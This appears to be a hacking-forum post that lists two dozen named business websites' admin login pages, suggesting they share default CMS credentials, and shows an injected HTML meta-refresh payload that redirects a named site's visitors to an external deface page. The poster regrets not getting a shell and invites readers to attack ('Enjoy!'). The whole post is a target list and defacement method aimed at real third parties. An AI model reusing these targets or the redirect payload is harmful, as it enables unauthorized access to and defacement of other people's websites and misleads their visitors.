Idk what this CMS Developer was thinking But guess what the default username and passwords are to these 20+ websites? ?

PHP Code

<?php

http://www.saireehutkohtao.com/admin/login.php
http://www.tketsang.com/admin/login.php
http://www.changingdiabetesthailand.com/admin/login.php
http://www.visioninter.co.th/admin/login.php
http://www.sahasap2013.com/admin/login.php
http://www.jsut.co.th/admin/login.php
http://www.mr-thailand.com/admin/login.php
http://www.chayoratn.com/admin/login.php
http://www.siampetroleumservices.com/admin/login.php
http://www.thewinner-pattaya.com/admin/login.php
http://www.pu.co.th/admin/login.php
http://naratwin.com/admin/login.php
http://www.rafia.co.th/admin/login.php
http://www.tsbgroups.in.th/admin/login.php
http://www.ptchemmerce.com/admin/login.php
http://www.issconsulting.co.th/admin/login.php
http://www.pjplastic.com/admin/login.php
http://www.diabetescareth.com/admin/login.php
http://www.pavillianexecutivess.com/admin/login.php
http://www.pluzcoll.com/admin/login.php
http://www.alu-log.com/admin/login.php
http://www.utsi.co.th/admin/login.php
http://www.teddyhouse.com/admin/login.php
http://vipservices.co.th/admin/login.php

Unable to shell, so it's pretty useless to me. =/ ...but it does support HTML so you can at least redirect users to a deface page. ?

EXAMPLE:

PHP Code

<?php

http://www.pu.co.th/newsandevent_detail_th.php?newsid=22

CODE:

Quote:<meta HTTP-EQUIV="REFRESH" content="0;
url=http://www.companyregistrationsindia.in/admin/user_documents/5.html">
inb4 new content is added to these websites. Enjoy! ?
